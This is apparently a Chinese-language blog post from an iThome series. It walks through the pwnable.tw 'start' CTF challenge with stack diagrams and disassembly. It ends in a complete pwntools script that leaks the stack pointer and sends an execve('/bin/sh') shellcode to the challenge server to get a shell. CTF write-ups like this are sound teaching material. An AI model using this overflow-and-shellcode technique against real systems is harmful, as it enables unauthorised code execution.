iT邦幫忙

2023 iThome 鐵人賽

DAY 27
0

接續上一篇


題目是 pwnable.tw 的第一題 start

上一篇寫到我們要把 esp 的值改為我們 shellcode 的位置,這樣在 ret 時,就能順利執行我們的 payload。

我們昨天發現到程式在調用 write 時給的 buffer 過大,給了 60 個 bytes,因此輸入超過 20 個 bytes 可以覆蓋 return address。

--------------    <-- ecx // 輸入起始點
|    Let'    |
--------------
|    s st    |
--------------
|    art     |
--------------
|    the     |
--------------
|    CTF:    |
--------------    
|  retaddr   |    (exit address)
--------------
|  saved esp |
--------------

我們的想法是,先確認好 esp 的位置,才能確定我們的 payload。

為了方便觀察,我們再列一次,執行 write system call
後的 register 與記憶體。

===============================================
=> 0x8048097 <_start+55>:       int    0x80    //write
   0x8048099 <_start+57>:       add    esp,0x14
   0x804809c <_start+60>:       ret
===============================================

--------------    <-- ecx, esp // 輸入起始點
|    Let'    |
--------------
|    s st    |
--------------
|    art     |
--------------
|    the     |
--------------
|    CTF:    |
--------------    
|  retaddr   |    (exit address)
--------------
|  saved esp |
--------------
===============================================
   0x8048097 <_start+55>:       int    0x80    
=> 0x8048099 <_start+57>:       add    esp,0x14
   0x804809c <_start+60>:       ret
===============================================

--------------    <-- ecx // 輸入起始點
|    Let'    |
--------------
|    s st    |
--------------
|    art     |
--------------
|    the     |
--------------
|    CTF:    |
--------------    <-- esp // esp = esp + 20
|  retaddr   |    (exit address)
--------------
|  saved esp |
--------------

接下來的 ret,就是 pop esp(esp = esp + 4)

===============================================
   0x8048097 <_start+55>:       int    0x80    
   0x8048099 <_start+57>:       add    esp,0x14
=> 0x804809c <_start+60>:       ret
===============================================

--------------    <-- ecx // 輸入起始點
|    Let'    |
--------------
|    s st    |
--------------
|    art     |
--------------
|    the     |
--------------
|    CTF:    |
--------------    
|  retaddr   |    
--------------    <-- esp
|  saved esp |
--------------

也就是把現在的 retaddr pop 出來,那我們要把 return address 改成哪裡呢?

仔細看看,由於程式一開始就把 esp push 進去,所以我們只要把現在 esp 的值讀出來,我們就能知道 esp 的位置了。
而我們也知道程式的上面有用 read 這個 system call。

===============================================
=> 0x8048087 <_start+39>:       mov    ecx,esp // ecx = esp
   0x8048089 <_start+41>:       mov    dl,0x14
   0x804808b <_start+43>:       mov    bl,0x1
   0x804808d <_start+45>:       mov    al,0x4
   0x804808f <_start+47>:       int    0x80
   0x8048091 <_start+49>:       xor    ebx,ebx
   0x8048093 <_start+51>:       mov    dl,0x3c
   0x8048095 <_start+53>:       mov    al,0x3
   0x8048097 <_start+55>:       int    0x80    
   0x8048099 <_start+57>:       add    esp,0x14
   0x804809c <_start+60>:       ret
===============================================

--------------    
|    Let'    |
--------------
|    s st    |
--------------
|    art     |
--------------
|    the     |
--------------
|    CTF:    |
--------------    
|  retaddr   |    <-- 0x8048087
--------------    <-- esp, ecx   
|  saved esp |
--------------
===============================================
   0x8048087 <_start+39>:       mov    ecx,esp // ecx = esp
   0x8048089 <_start+41>:       mov    dl,0x14
   0x804808b <_start+43>:       mov    bl,0x1
   0x804808d <_start+45>:       mov    al,0x4
=> 0x804808f <_start+47>:       int    0x80
   0x8048091 <_start+49>:       xor    ebx,ebx
   0x8048093 <_start+51>:       mov    dl,0x3c
   0x8048095 <_start+53>:       mov    al,0x3
   0x8048097 <_start+55>:       int    0x80    
   0x8048099 <_start+57>:       add    esp,0x14
   0x804809c <_start+60>:       ret
===============================================

--------------    
|    Let'    |
--------------
|    s st    |
--------------
|    art     |
--------------
|    the     |
--------------
|    CTF:    |
--------------    
|  retaddr   |    <-- 0x8048087
--------------    <-- esp, ecx    //讀取的起點
|  saved esp |
--------------

這時候我們可以透過 pwntool 的 u32(p.recv(4)) 去抓取前四的 bytes 也就是 esp 的值了。

那接下來程式當然會繼續執行,進入 write 的部分,那我們究竟要寫甚麼呢,我們有注意到在 0x8048099 的位置

0x8048099 <_start+57>:       add    esp,0x14    // esp = esp + 20

也就是說,我們從 esp 的位置隨便輸入 20 bytes 後面在加我們的 shellcode,最後 esp 就會順著程式執行流程,往後 20 bytes 並且透過 ret 執行了。記憶體會長這樣:

===============================================
   0x8048087 <_start+39>:       mov    ecx,esp 
   0x8048089 <_start+41>:       mov    dl,0x14
   0x804808b <_start+43>:       mov    bl,0x1
   0x804808d <_start+45>:       mov    al,0x4
   0x804808f <_start+47>:       int    0x80
   0x8048091 <_start+49>:       xor    ebx,ebx
   0x8048093 <_start+51>:       mov    dl,0x3c
   0x8048095 <_start+53>:       mov    al,0x3
=> 0x8048097 <_start+55>:       int    0x80    
   0x8048099 <_start+57>:       add    esp,0x14
   0x804809c <_start+60>:       ret
===============================================

--------------    
|    Let'    |
--------------
|    s st    |
--------------
|    art     |
--------------
|    the     |
--------------
|    CTF:    |
--------------    
|  retaddr   |    <-- 0x8048087
--------------    <-- esp, ecx    //輸入的起點
|    aaaa    |
--------------
|    aaaa    |
--------------
|    aaaa    |
--------------
|    aaaa    |
--------------
|    aaaa    |
--------------
| shellcode  |
--------------
===============================================
   0x8048087 <_start+39>:       mov    ecx,esp 
   0x8048089 <_start+41>:       mov    dl,0x14
   0x804808b <_start+43>:       mov    bl,0x1
   0x804808d <_start+45>:       mov    al,0x4
   0x804808f <_start+47>:       int    0x80
   0x8048091 <_start+49>:       xor    ebx,ebx
   0x8048093 <_start+51>:       mov    dl,0x3c
   0x8048095 <_start+53>:       mov    al,0x3
   0x8048097 <_start+55>:       int    0x80    
=> 0x8048099 <_start+57>:       add    esp,0x14
   0x804809c <_start+60>:       ret
===============================================

--------------    
|    Let'    |
--------------
|    s st    |
--------------
|    art     |
--------------
|    the     |
--------------
|    CTF:    |
--------------    
|  retaddr   |    <-- 0x8048087
--------------    <-- ecx    //輸入的起點
|    aaaa    |
--------------
|    aaaa    |
--------------
|    aaaa    |
--------------
|    aaaa    |
--------------
|    aaaa    |
--------------    <-- esp    //esp = esp + 20
| shellcode  |
--------------

而我們上述的 script 可以這樣寫:

shellcode 可以從網路上找,也可以自己寫。自己寫的話就是如同之前寫過的要確定好用什麼 register 存什麼參數,和怎麼調用。

from pwn import *

p = remote('chall.pwnable.tw', 10000)

p.recvuntil(':')    // 等程式 print 完

#shellcode = asm(shellcraft.sh())
shellcode = b"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"

payload = b'A' * 20 + p32(0x08048087)
p.send(payload)

esp = u32(p.recv(4))

payload = b'A' * 20 + p32(esp + 20) + shellcode
p.send(payload)

p.interactive()

李鴻章雜燴

看名字就知道這又是一道美式中國菜。
前面廢話講太多累了,圖片自己想像一下。


上一篇
Day26 大雜燴之炒泡麵雜燴 - Pwn:CTF(1)
下一篇
Day28 大雜燴之雜燴兔雜燴 - Pwn:CTF(3)
系列文
雜七雜八大雜燴,資安技術大亂鬥30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言